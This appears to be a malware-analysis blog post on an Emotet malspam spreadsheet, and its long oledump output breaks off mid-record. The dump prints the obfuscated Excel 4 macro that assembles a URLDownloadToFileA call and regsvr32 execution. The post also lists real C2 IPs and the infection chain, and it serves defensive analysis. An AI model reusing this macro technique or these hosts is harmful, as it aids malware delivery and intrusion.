![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/email.png\")
<\/a>Emotet malspam<\/p><\/div>\n
Analysis
\n========<\/p>\n
Host
\n———-<\/p>\n
This infection chain is very much like the one that I detailed in my last write up which you can find here.<\/a> Once the attachment is downloaded and opened, the spreadsheet presents itself like any other maldoc asking for the macro to be run\/executed. Using tools like “oledump.py” and “olavba.py” or even something as simple as strings can give an analyst some basic insight into what is going on with the macro. I started off with oledump.py and used the following command:<\/p>\n which is a plugin from Didier Stevens and just for the Excel 4 macros. You can find the plugin and many others from him at his Github<\/a>. There is also an awesome walk through of Excel 4 macros over at SANS ISC from Bojan here<\/a>, and one that I did a while back which you can read here<\/a>.<\/p>\n Using the command outputs the following:<\/p>\n The first part that stood out to me from this wall of text was this.<\/p>\n This told me that there were some hidden sheets in the spreadsheet.<\/p>\n The following told me that there were some functions, some methods to download files, and an equation to put things back together again to make the script.<\/p>\n Not really up for figuring this out, I decided to see what was hiding in the hidden sheets in the Excel spreadsheet. These pages gave me everything that I really needed to know (since this is Emotet I knew that there would be several URLs in the script) and the fact that it was going to leverage “regsvr32.exe” as well.<\/p>\n Now that there is a basic understanding of what is going to happen when the macro is executed, I went ahead and did just that in my VM. As expected some of the URLs that were found in the script were already dead, but there was one that responded and sent the malicious OCX across the wire.<\/p>\n Wireshark filter: !(ssdp || icmpv6) && (http.request || tls.handshake.extensions_server_name)<\/p><\/div>\n While enabling the macro I also had ProcMon running in the background to see what was going on via the host. First I looked for any files that were written to disk. This showed me that the Excel process created the “xdwno.ocx” file.<\/p>\n xdwno.ocx being created<\/p><\/div>\n Looking at the timestamps from ProcMon and Wireshark, along with the filesize being roughly the same size, helped verify things even more.<\/p>\n I also saw that this is written by the regsvr32.exe process too and used as part of the injection method.<\/p>\n Continuing towards the end of PID 5364’s execution, we can see it created a new process of itself – PID 4600.<\/p>\n Looking at this process (PID 4600), I saw that it was responsible for creating the folder where the malicious binary would end up (C:\\Users\\%username%\\AppData\\Local\\Cifmjahgfzofgk).<\/p>\n Process Monitor’s Process Tree View<\/p><\/div>\n With PID 6472 now up and running, the first thing that I noticed with this process was the fact that it was looking at the following registry settings seeing if they were there and\/or enabled (see below). I also found that it was also looking at other settings with relation to internet browsing and also looking at the installed certificates as well.<\/p>\n NOTE: I noticed that at the end of every run and the handoffs back and forth between this PID and it’s children, it would always come back and verify that this was set.<\/strong><\/p>\n It then proceeded to create the *.tmp files and create the processes for systeminfo, ipconfig, and nltest which then proceeded to dump the output from the commands into those files which would then be exfilled off the system. The regsvr32.exe process (PID 6472) would then check the file via a “querystandardinformationfile” and “read” operation in Procmon (not pictured). Once that was done it would then promptly delete the file (pictured below).<\/p>\n Systeminfo process and TMP file creation and deletion<\/p><\/div>\n IPconfig process and TMP file creation and deletion<\/p><\/div>\n NLtest \/dclist process and TMP file creation and deletion<\/p><\/div>\n After this, I did see where the regsvr32.exe process looked for “certutil.exe” and then copied the file over to the new location.<\/p>\n Certutil “knockoffs”<\/p><\/div>\n The only odd part is that I am not seeing anything about a file move or copy in Procmon. An example of this activity can be seen below. Please note that the other “knockoff” processes follow this similar pattern as well.<\/p>\n Observations from each of these files gdwmry.exe<\/p>\n ppfy.exe<\/p>\n Note: The above two processes also used the option of “\/scomma”. This is related to the use of Nirsoft’s utilities as talked about in the post from Fortinet above.<\/strong><\/p>\n ocutspbnmdlt.exe<\/p>\n zcbptp.exe\/gksq.exe<\/p>\n Network From the network side, the macro has 5 different URLs that it leverages to pull the malicious binary down. Based on what I have seen from the above analysis, the file “xdwno.ocx” that is mentioned in all the URLs ends up being renamed and moved to a new location. So I can only imagine that the file is the same across of the URLs. Also, since the communication stream is encoded\/encrypted there is no way of seeing what was moved between the host and the C2s. I checked to see if the URLs were posted to URLHaus and they have been – all pointing to Emotet related links.<\/p>\n Initial request and encrypted\/encoded stream<\/p><\/div>\n Now there has always been a trick that I have used when playing with malware and that was to suspend a process in Process Explorer and then use a utility called strings2<\/a> which would pull a strings process dump and output it to a file for reviewing (command used: strings2 -pid 6472 > regsvr32_pid_6472.log<\/strong>). Now I have a fully executed and unpacked executable running in memory which will hopefully give me some more of the callback IP address. The trick I always use to search for things stemmed from details that I found either in Wireshark or on the host system or ProcMon logs.<\/p>\n Using CyberChef and the regex recipe for IPv4 addresses, and then de-dupping that, I saw that there are 142 possible hits. Most of these look to be related to something else and NOT IP addresses (ie: OID numbers) but only looking in the log file will truly tell us or not. After some more cleaning up of the IP addresses, I believe that the current list of 77 IPs is more true to form. Those IPs can be found below.<\/p>\n Using the above list of IPs within a Wireshark filter I checked to see if there may have been a C2 that I missed. Based on what I saw on the narrowed list, it looks like the only ones that were used were the following IPs: 138.201.142.73, 51.79.205.117, and 49.231.16.102 which all used port 8080 as well.<\/p>\n Which makes sense when you look at the “Conversations” section in Wireshark.<\/p>\n This was also verified to be the case using Brim.<\/p>\n Filter: event_type==”alert” | alerts := union(alert.category) by src_ip, dest_ip<\/p><\/div>\n _path==”conn” id.resp_p==8080 | cut id.orig_h, id.resp_p, id.resp_h | sort | uniq | sort id.resp_h<\/p><\/div>\n Some other notable finds in the string output can be found below.<\/p>\n <\/p>\n <\/p>\n Microsoft Defender for Endpoint It took a couple of minutes for the activity to get flagged and reported in the MSDE portal once I ran the OCX file. But once it reported back, MSDE’s portal lite up like a Christmas tree! Below are the alerts that MSDE saw on the system.<\/p>\n Considering that I already knew where the starting point was for this infection and how the infection chain proceeded from there, I came up with a quick KQL query to show me anything that had the PIDs of 4080 (regsvr32.exe) and 1140 (powershell.exe).<\/p>\n Results of the KQL query<\/p><\/div>\n<\/div>\n Artifacts OSINT IP addresses URLs File hashes\r\noledump.py -p plugin_biff --pluginoptions "-x" "C:\\Users\\bob\\Desktop\\Form Dt 04.22.2022.xls"\r\n<\/pre>\n
\r\nPS C:\\Users\\bob &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; oledump.py -p plugin_biff --pluginoptions "-x" "C:\\Users\\bob\\Desktop\\Form Dt 04.22.2022.xls"\r\n1: 4096 '\\x05DocumentSummaryInformation'\r\n2: 4096 '\\x05SummaryInformation'\r\n3: 61304 'Workbook'\r\nPlugin: BIFF plugin\r\n0085 13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet\r\n0085 11 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Vv1\r\n0085 11 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Vv2\r\n0085 11 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Vv3\r\n0085 16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - FRHJDJDJ\r\n"0018 29 LABEL : Cell Value, String Constant - _xlfn.ARABIC hidden len=2 ptgErr *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\\\\x1d'"\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE1 len=7 ptgRef3d Vv1!R12C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE2 len=7 ptgRef3d Vv1!R14C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE3 len=7 ptgRef3d Vv1!R16C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE4 len=7 ptgRef3d Vv1!R18C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE5 len=7 ptgRef3d Vv1!R20C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE6 len=7 ptgRef3d Vv1!R22C6\r\n0018 28 LABEL : Cell Value, String Constant - HRHRE7 len=7 ptgRef3d Vv1!R24C6\r\n0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Vv1!R3C6\r\n0006 32 FORMULA : Cell Formula - R2C5 len=10 ptgInt 113 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R2C7 len=10 ptgInt 111 ptgInt 6 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R2C12 len=10 ptgInt 71 ptgInt 6 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R3C3 len=10 ptgInt 111 ptgInt 3 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R3C9 len=10 ptgInt 87 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R3C16 len=10 ptgInt 90 ptgInt 2 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R4C6 len=10 ptgInt 100 ptgInt 18 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R4C8 len=10 ptgInt 110 ptgInt 9 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R4C14 len=10 ptgInt 89 ptgInt 1 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R5C2 len=10 ptgInt 115 ptgInt 2 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R5C16 len=10 ptgInt 44 ptgInt 2 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R6C5 len=10 ptgInt 90 ptgInt 6 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R6C10 len=10 ptgInt 77 ptgInt 3 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R7C4 len=10 ptgInt 107 ptgInt 3 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R7C13 len=10 ptgInt 117 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R7C16 len=10 ptgInt 41 ptgInt 3 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R9C3 len=10 ptgInt 110 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R9C8 len=10 ptgInt 70 ptgInt 3 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R9C11 len=10 ptgInt 55 ptgInt 7 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R9C16 len=10 ptgInt 55 ptgInt 5 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R10C6 len=10 ptgInt 123 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R11C5 len=10 ptgInt 80 ptgInt 5 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R11C10 len=10 ptgInt 80 ptgInt 7 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R11C12 len=10 ptgInt 100 ptgInt 1 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R11C16 len=10 ptgInt 35 ptgInt 5 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R12C1 len=10 ptgInt 107 ptgInt 2 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R13C4 len=10 ptgInt 72 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R13C8 len=10 ptgInt 68 ptgInt 1 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R13C16 len=10 ptgInt 36 ptgInt 5 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R14C7 len=10 ptgInt 124 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R14C11 len=10 ptgInt 70 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R15C2 len=10 ptgInt 80 ptgInt 4 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R15C6 len=10 ptgInt 105 ptgInt 5 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R15C16 len=10 ptgInt 31 ptgInt 3 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R17C4 len=10 ptgInt 102 ptgInt 5 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R17C9 len=10 ptgInt 78 ptgInt 1 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R17C16 len=10 ptgInt 40 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R18C2 len=10 ptgInt 65 ptgInt 5 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 28 FORMULA : Cell Formula - R19C16 len=6 ptgInt 32 ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R20C16 len=10 ptgInt 52 ptgInt 6 ptgAdd ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R22C16 len=10 ptgInt 66 ptgInt 5 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R23C11 len=10 ptgInt 80 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 32 FORMULA : Cell Formula - R24C7 len=10 ptgInt 84 ptgInt 2 ptgSub ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 28 FORMULA : Cell Formula - R26C9 len=6 ptgInt 84 ptgFuncV CHAR (0x006f)\r\n0207 4 STRING : String Value of a Formula -\r\n0006 37 FORMULA : Cell Formula - R32C9 len=15 ptgName 0x00000001 ptgStr "CXI" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 39 FORMULA : Cell Formula - R33C2 len=17 ptgName 0x00000001 ptgStr "LXVII" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 39 FORMULA : Cell Formula - R33C15 len=17 ptgName 0x00000001 ptgStr "LXVII" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 37 FORMULA : Cell Formula - R35C5 len=15 ptgName 0x00000001 ptgStr "LXI" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 38 FORMULA : Cell Formula - R36C17 len=16 ptgName 0x00000001 ptgStr "CXIV" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 36 FORMULA : Cell Formula - R37C11 len=14 ptgName 0x00000001 ptgStr "CI" ptgFuncVarV args 2 func User Defined Function (0x00ff)\r\n0006 56 FORMULA : Cell Formula - R3C2 len=34 ptgRef3dV Sheet!R11C16 ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R5C2 ptgConcat ptgRef3dV Sheet!R3C3 ptgConcat ptgFuncV T (0x0082)\r\n'0207 7 STRING : String Value of a Formula - b\\'("ur\\''\r\n0006 112 FORMULA : Cell Formula - R7C4 len=90 ptgRef3dV Sheet!R9C3 ptgRef3dV Sheet!R12C1 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R7C4 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R11C5 ptgConcat ptgRef3dV Sheet!R4C6 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R13C4 ptgConcat ptgFuncV T (0x0082)\r\n'0207 14 STRING : String Value of a Formula - b\\'lmon","URLD\\''\r\n0006 112 FORMULA : Cell Formula - R9C12 len=90 ptgRef3dV Sheet!R2C12 ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R6C10 ptgConcat ptgRef3dV Sheet!R6C10 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R14C11 ptgConcat ptgRef3dV Sheet!R14C11 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgFuncV T (0x0082)\r\n'0207 14 STRING : String Value of a Formula - b\\'A","JJCCBB"\\''\r\n0006 120 FORMULA : Cell Formula - R11C7 len=98 ptgRef3dV Sheet!R2C5 ptgRef3dV Sheet!R10C6 ptgConcat ptgRef3dV Sheet!R7C4 ptgConcat ptgRef3dV Sheet!R9C3 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R17C4 ptgConcat ptgRef3dV Sheet!R15C6 ptgConcat ptgRef3dV Sheet!R6C5 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R2C7 ptgConcat ptgRef3dV Sheet!R9C3 ptgConcat ptgFuncV T (0x0082)\r\n"0207 15 STRING : String Value of a Formula - b'ownloadToFil'"\r\n0006 128 FORMULA : Cell Formula - R3C10 len=106 ptgRef3dV Sheet!R19C16 ptgRef3dV Sheet!R5C16 ptgConcat ptgRef3dV Sheet!R5C16 ptgConcat ptgRef3dV Sheet!R3C16 ptgConcat ptgRef3dV Sheet!R14C7 ptgConcat ptgRef3dV Sheet!R15C6 ptgConcat ptgRef3dV Sheet!R10C6 ptgConcat ptgRef3dV Sheet!R7C4 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R5C16 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R11C12 ptgConcat ptgRef3dV Sheet!R14C7 ptgConcat ptgFuncV T (0x0082)\r\n"0207 16 STRING : String Value of a Formula - b' ..\\\\\\\\xdwno.ocx'"\r\n0006 56 FORMULA : Cell Formula - R5C16 len=34 ptgRef3dV Sheet!R9C16 ptgRef3dV Sheet!R9C11 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R19C16 ptgConcat ptgFuncV T (0x0082)\r\n"0207 7 STRING : String Value of a Formula - b'&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;0, '"\r\n0006 120 FORMULA : Cell Formula - R9C4 len=98 ptgRef3dV Sheet!R5C16 ptgRef3dV Sheet!R5C16 ptgConcat ptgRef3dV Sheet!R3C16 ptgConcat ptgRef3dV Sheet!R14C7 ptgConcat ptgRef3dV Sheet!R15C6 ptgConcat ptgRef3dV Sheet!R10C6 ptgConcat ptgRef3dV Sheet!R7C4 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R5C16 ptgConcat ptgRef3dV Sheet!R2C5 ptgConcat ptgRef3dV Sheet!R11C12 ptgConcat ptgRef3dV Sheet!R14C7 ptgConcat ptgFuncV T (0x0082)\r\n"0207 15 STRING : String Value of a Formula - b'..\\\\\\\\xdwno.ocx'"\r\n0006 48 FORMULA : Cell Formula - R13C18 len=26 ptgRef3dV Sheet!R10C14 ptgRef3dV Sheet!R13C14 ptgConcat ptgRef3dV Vv2!R13C15 ptgConcat ptgFuncV T (0x0082)\r\n"0207 9 STRING : String Value of a Formula - b'32.exe'"\r\n0006 56 FORMULA : Cell Formula - R14C14 len=34 ptgRef3dV Sheet!R4C8 ptgRef3dV Sheet!R22C4 ptgConcat ptgRef3dV Sheet!R7C13 ptgConcat ptgRef3dV Sheet!R17C7 ptgConcat ptgFuncV T (0x0082)\r\n"0207 7 STRING : String Value of a Formula - b'egsv'"\r\n0006 73 FORMULA : Cell Formula - R15C4 len=51 ptgRef3dV Sheet!R7C16 ptgRef3dV Sheet!R9C11 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R19C6 ptgConcat ptgNum FLOAT 3243413.000000 ptgFuncV TEXT (0x0030)\r\n'0207 8 STRING : String Value of a Formula - b\\',0,"h\\''\r\n0006 72 FORMULA : Cell Formula - R16C10 len=50 ptgRef3dV Sheet!R15C16 ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R9C11 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R9C11 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgFuncV T (0x0082)\r\n'0207 9 STRING : String Value of a Formula - b\\'",0,0)\\''\r\n0006 1370 FORMULA : Cell Formula - R10C6 len=1348 ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R17C4 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef R12C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE1" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R19C5 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R14C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE2" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R17C6 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R16C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE3" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R19C7 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R18C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE4" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R17C8 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R20C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE5" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R2C12 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Vv2!R3C2 ptgConcat ptgRef3dV Vv2!R7C4 ptgConcat ptgRef3dV Vv2!R11C7 ptgConcat ptgRef3dV Sheet!R4C8 ptgConcat ptgRef3dV Vv2!R9C12 ptgConcat ptgRef3dV Vv3!R15C4 ptgConcat ptgRef3dV Vv2!R19C9 ptgConcat ptgRef3dV Vv3!R9C4 ptgConcat ptgRef3dV Vv3!R16C10 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R22C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R11C10 ptgConcat ptgRef3dV Sheet!R18C2 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgStr "HRHRE6" ptgConcat ptgRef3dV Vv3!R5C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R15C2 ptgConcat ptgRef3dV Sheet!R17C9 ptgConcat ptgRef3dV Sheet!R3C9 ptgConcat ptgRef3dV Sheet!R13C8 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgRef3dV Sheet!R9C11 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef3dV Sheet!R7C16 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R26C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R13C8 ptgConcat ptgRef3dV Sheet!R4C14 ptgConcat ptgRef3dV Sheet!R13C8 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R9C8 ptgConcat ptgRef3dV Sheet!R20C16 ptgConcat ptgRef3dV Vv3!R11C12 ptgConcat ptgRef3dV Vv3!R2C20 ptgConcat ptgRef3dV Sheet!R3C3 ptgConcat ptgRef3dV Vv3!R14C14 ptgConcat ptgRef3dV Sheet!R3C3 ptgConcat ptgRef3dV Vv3!R13C18 ptgConcat ptgRef3dV 